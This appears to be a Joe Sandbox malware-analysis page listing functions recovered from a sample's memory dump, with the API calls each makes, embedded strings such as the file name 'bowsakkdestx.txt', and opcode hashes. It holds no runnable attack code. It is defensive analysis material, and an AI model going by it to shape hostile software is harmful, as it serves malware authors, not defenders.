Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction ID: 8330a25206e7a7c758b309db49295e470543d34b7ed76d4368c5dbe794fa98e6
Opcode Fuzzy Hash: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction Fuzzy Hash: 5C01DB35A4030876EB30AB55EC86FD63B6DE744B00F148022FE04AB1E1D7B9A54ADB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041E500 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041E515
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E53C
DispatchMessageW.USER32(?), ref: 0041E546
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E554
WaitForSingleObject.KERNEL32(0000000A), ref: 0041E562

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction ID: 59d9cfd0379212e31388a7928d285390ad7449125cd170d7d310b1f6820545b5
Opcode Fuzzy Hash: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction Fuzzy Hash: 3301DB35B4030976E720AB51EC86FD67B6DE744B04F144011FE04AB1E1D7F9A549CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041FA40 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FA53
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA71
DispatchMessageW.USER32(?), ref: 0041FA7B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA89
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FA94

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: 7dc02704ba958b7d98511173c4623a4fa8f2b4100db45197b38ae147ea501182
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 6301AE31B4030577EB205B55DC86FA73B6DDB44B40F544061FB04EE1D1D7F9984587A4

Uniqueness

Uniqueness Score: -1.00%

Function 0041FDF0 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FE03
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE21
DispatchMessageW.USER32(?), ref: 0041FE2B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE39
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FE44

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: d705e8d6a79994c6a13c6d22e65b3a6180ae01e64e8e6a22fa5ca061b0d405f5
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 3501A931B80308B7EB205B95ED8AF973B6DEB44B00F144061FA04EF1E1D7F5A8468BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00417BA0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 188COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417C6A
_memmove.LIBCMT ref: 00417CD4

Strings

invalid string position, xrefs: 00417D2C
string too long, xrefs: 00417D36

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 3e8e620cdafad959620aa8092266a2dd437b35ec9cc4a24f81571b5e96538b17
Instruction ID: 16eedd03d570a769cf24423414cb71a1906862ef28ca1dd771941f38c47b8a04
Opcode Fuzzy Hash: 3e8e620cdafad959620aa8092266a2dd437b35ec9cc4a24f81571b5e96538b17
Instruction Fuzzy Hash: C451C3317081089BDB24CE1CD980AAA77B6EF85714B24891FF856CB381DB35EDD18BD9

Uniqueness

Uniqueness Score: -1.00%

Function 004229A9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

__flush.LIBCMT ref: 00422A5F
__write.LIBCMT ref: 00422A92
__flsbuf.LIBCMT ref: 00422AC0

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Strings

A, xrefs: 00422AB8, 00422A3A, 00422A87, 00422A9F, 00422A44

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: __flsbuf__flush__getptd_noexit__write
String ID: A
API String ID: 3115901604-2078354741
Opcode ID: d1228be24c2bcabe2754a9de32c20230a63627f67e8be6dccc8404be8c77e6ea
Instruction ID: 74c924880168de559db59c14e1a2c39f6381d3f38157317aef41ba5f0430eaff
Opcode Fuzzy Hash: d1228be24c2bcabe2754a9de32c20230a63627f67e8be6dccc8404be8c77e6ea
Instruction Fuzzy Hash: F041F870700626BFDB289F69EA8056F77A5BF44360B94813FE805C7740D6F8DD818B58

Uniqueness

Uniqueness Score: -1.00%

Function 00414160 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004141E4
_memmove.LIBCMT ref: 00414215

Strings

invalid string position, xrefs: 00414260
string too long, xrefs: 00414256

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 749c0c363911c6b197ced0573a154d5961979834c741efb9d592a9087351605d
Instruction ID: c789d4a5c221ce0c411dffae1b259be01e75b302f83ceaf2f45b858c9c7e4579
Opcode Fuzzy Hash: 749c0c363911c6b197ced0573a154d5961979834c741efb9d592a9087351605d
Instruction Fuzzy Hash: 3D311430300204ABDB28DE5CD8859AA77B6EFC17507600A5EF865CB381D739EDC18BAD

Uniqueness

Uniqueness Score: -1.00%

Function 00425341 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcsnlen.LIBCMT ref: 00425354

Strings

U, xrefs: 0042535D

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _wcsnlen
String ID: U
API String ID: 3628947076-3372436214
Opcode ID: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction ID: 96f9a77ca4cc4fe958c434aa827cb810c13d5acf0ea92317e974609e7887e837
Opcode Fuzzy Hash: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction Fuzzy Hash: 6521C9717046286BEB10DAA5BC41BBB739CDB85750FD0416BFD08C6190EA79994046AD

Uniqueness

Uniqueness Score: -1.00%

Function 0045AD50 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AD72
_memset.LIBCMT ref: 0045AE15

Strings

C7F, xrefs: 0045AD51, 0045AD56, 0045AD69, 0045AE0B, 0045AE14
.\crypto\buffer\buffer.c, xrefs: 0045AD8B, 0045ADBE, 0045ADD0, 0045ADE7

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$C7F
API String ID: 2102423945-2013712220
Opcode ID: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction ID: 54406e9f1970e0e1dce797ef07034894a3cffcceb7efccd845a222dac3d76e8e
Opcode Fuzzy Hash: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction Fuzzy Hash: 91216DB1B443213BE200655DFC83B15B395EB84B19F104127FA18D72C2D2B8BC5982D9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C5C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

UuidCreate.RPCRT4(?), ref: 0040C5DA
UuidToStringA.RPCRT4(?,00000000), ref: 0040C5F6
RpcStringFreeA.RPCRT4(00000000), ref: 0040C640

Strings

8a4577dc-de55-4eb5-b48a-8a3eee60cd95, xrefs: 0040C687

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: StringUuid$CreateFree
String ID: 8a4577dc-de55-4eb5-b48a-8a3eee60cd95
API String ID: 3044360575-2335240114
Opcode ID: dc9514dc3cc728d26dfdc447613b7bcea16efd59eca3e38d4ff14dbb98031a68
Instruction ID: 0eb901185732211e3be4e37390737b2086ad5c5ed8a4bd7d6c842829bf201ec1
Opcode Fuzzy Hash: dc9514dc3cc728d26dfdc447613b7bcea16efd59eca3e38d4ff14dbb98031a68
Instruction Fuzzy Hash: 6C21D771208341ABD7209F24D844B9BBBE8AF81758F004E6FF88993291D77A9549879A

Uniqueness

Uniqueness Score: -1.00%

Function 00437A2D Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcscmp.LIBCMT ref: 00437A44
_wcscmp.LIBCMT ref: 00437A55

Strings

ACP, xrefs: 00437A3E
OCP, xrefs: 00437A4F

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _wcscmp
String ID: ACP$OCP
API String ID: 856254489-711371036
Opcode ID: aa8000f8b7855d8823c6aeee0a3666c2c2ac351801b90a308c615276b5b88e11
Instruction ID: be6dee110b44ec76455643647cb0bd3c477e6d53c765760a4e3a4e904bc1756d
Opcode Fuzzy Hash: aa8000f8b7855d8823c6aeee0a3666c2c2ac351801b90a308c615276b5b88e11
Instruction Fuzzy Hash: EF01C4A2608215B6EB34BA59DC42FAE37899F0C3A4F105417F948D6281F77CEB4042DC

Uniqueness

Uniqueness Score: -1.00%

Function 0040C470 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C48B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C4A9

Strings

bowsakkdestx.txt, xrefs: 0040C49D

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: 23fc771ccd0fb84302ef14e270554964de1445af84905d4ed2fddc0fcc519b49
Instruction ID: 3b6c08389df4e48a430741a1ce4ce94f3584f996b8880ee9781e1533d320f445
Opcode Fuzzy Hash: 23fc771ccd0fb84302ef14e270554964de1445af84905d4ed2fddc0fcc519b49
Instruction Fuzzy Hash: 8701DB72B8022873D9306A557C86FFB775C9F51721F0001B7FE08D6181E5E9554646D5

Uniqueness

Uniqueness Score: -1.00%

Function 0041BA10 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24registryCOMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
RegisterClassExW.USER32(00000030), ref: 0041BA73

Strings

LPCWSTRszWindowClass, xrefs: 0041BA65
0, xrefs: 0041BA1D

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: ClassCursorLoadRegister
String ID: 0$LPCWSTRszWindowClass
API String ID: 1693014935-1496217519
Opcode ID: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction ID: 39b267f2af3e8e8601893d5e13e9f0aceec8bb1d15aa8544f670d774de374bdc
Opcode Fuzzy Hash: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction Fuzzy Hash: 64F0AFB0C042089BEB00DF90D9597DEBBB8BB08308F108259D8187A280D7BA1608CFD9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C420 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C438
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C44E
DeleteFileA.KERNEL32(?), ref: 0040C45B

Strings

bowsakkdestx.txt, xrefs: 0040C442

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Path$AppendDeleteFileFolder
String ID: bowsakkdestx.txt
API String ID: 610490371-2616962270
Opcode ID: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction ID: 22f96f022367e4ecd8cb06d74e3ea6c1a096c1ee21cc35b9366b07434c4c4e8f
Opcode Fuzzy Hash: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction Fuzzy Hash: 60E0807564031C67DB109B60DCC9FD5776C9B04B01F0000B2FF48D10D1D6B495444E55

Uniqueness

Uniqueness Score: -1.00%

Function 0040ECB0 Relevance: 6.2, APIs: 4, Instructions: 204COMMON

Download Yara Rule

APIs

_strtok.LIBCMT ref: 0040ED66
_memmove.LIBCMT ref: 0040EE25

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _memmove_strtok
String ID:
API String ID: 3446180046-0
Opcode ID: 26ecba1af734d67abcddf069fb71295571f6332d11be29335550415d4ddae36b
Instruction ID: d0e58e2a66e8e3875a5229d26ee444e1e0210206766639419d48370c530ec9d7
Opcode Fuzzy Hash: 26ecba1af734d67abcddf069fb71295571f6332d11be29335550415d4ddae36b
Instruction Fuzzy Hash: 7F81B07160020AEFDB14DF59D98079ABBF1FF14304F54492EE40567381D3BAAAA4CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00422130 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042218E
__read_nolock.LIBCMT ref: 0042225E
__filbuf.LIBCMT ref: 00422281
_memset.LIBCMT ref: 004222C5

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 4f8a020f16c05ce8eb09244123f141b643e409d9ae385191a5e5949e342c4f07
Instruction ID: 8e6e0b0b404069c1ace538d88af1fa9e5aae20a8402e44ab6f3f0d96efeb0f41
Opcode Fuzzy Hash: 4f8a020f16c05ce8eb09244123f141b643e409d9ae385191a5e5949e342c4f07
Instruction Fuzzy Hash: 9A51D830B00225FBCB148E69AA40A7F77B1AF11320F94436FF825963D0D7B99D61CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0043C677 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0043C6AD
__isleadbyte_l.LIBCMT ref: 0043C6DB
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,?,E1C11FE1,00BFBBEF,00000000,?,00000000,00000000,?,0043C0ED,?,00BFBBEF,00000003), ref: 0043C709
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,?,00000001,00BFBBEF,00000000,?,00000000,00000000,?,0043C0ED,?,00BFBBEF,00000003), ref: 0043C73F

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 545b86b4f69abcc520aee3959e2c1e78f1be635744476d2f07a63b5a2a38a0c0
Instruction ID: 9bb69ce0c337472f3e835d3bfc0adb25a23875f1fe15b1d3b69bac0ae3c4b713
Opcode Fuzzy Hash: 545b86b4f69abcc520aee3959e2c1e78f1be635744476d2f07a63b5a2a38a0c0
Instruction Fuzzy Hash: 4E31F530600206EFDB218F75CC85BBB7BA5FF49310F15542AE865A72A0D735E851DF98

Uniqueness

Uniqueness Score: -1.00%

Function 004C7094 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 004C70AB

Part of subcall function 004C77A0: ___BuildCatchObjectHelper.LIBCMT ref: 004C77D2
Part of subcall function 004C77A0: ___AdjustPointer.LIBCMT ref: 004C77E9

_UnwindNestedFrames.LIBCMT ref: 004C70C2
___FrameUnwindToState.LIBCMT ref: 004C70D4
CallCatchBlock.LIBCMT ref: 004C70F8

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: e860502f941f6c9850043d2e9c4655f99114053cf07e0eb82383b029c5c3ae24
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 2C011736000108BBCF526F56CC01FDA3FAAEF48718F15801EF91866121D33AE9A1DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 004253B3 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 00425007: __getptd_noexit.LIBCMT ref: 00425008
Part of subcall function 00425007: __amsg_exit.LIBCMT ref: 00425015

__calloc_crt.LIBCMT ref: 00425A01

Part of subcall function 00428C96: __calloc_impl.LIBCMT ref: 00428CA5

__lock.LIBCMT ref: 00425A37
___addlocaleref.LIBCMT ref: 00425A43
__lock.LIBCMT ref: 00425A57

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: __getptd_noexit__lock$___addlocaleref__amsg_exit__calloc_crt__calloc_impl
String ID:
API String ID: 2580527540-0
Opcode ID: 9925ebe33404cbde23c1fb2f9b399b2968a8912f67deb2e26b2c525534b3c5e5
Instruction ID: 8e8bf19fb99f986105457608807abe9f1de148b308aa0ea96eb71ffb67844566
Opcode Fuzzy Hash: 9925ebe33404cbde23c1fb2f9b399b2968a8912f67deb2e26b2c525534b3c5e5
Instruction Fuzzy Hash: A3018471742720DBD720FFAAA443B1D77A09F40728F90424FF455972C6CE7C49418A6D

Uniqueness

Uniqueness Score: -1.00%

Function 004409B9 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 004409DD

Part of subcall function 004410FD: __fltout2.LIBCMT ref: 00441126

__cftog_l.LIBCMT ref: 00440A03
__cftoe_l.LIBCMT ref: 00440A35

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 47779ad8523d68e9f2e2bd7ddfa488ab055a33a4313e19cc57a45add4f9be60e
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: B6014E7240014EBBDF125E85CC428EE3F62BB29354F58841AFE1968131C63AC9B2AB85

Uniqueness

Uniqueness Score: -1.00%

Function 004127A0 Relevance: 6.0, APIs: 4, Instructions: 39stringCOMMON

Download Yara Rule

APIs

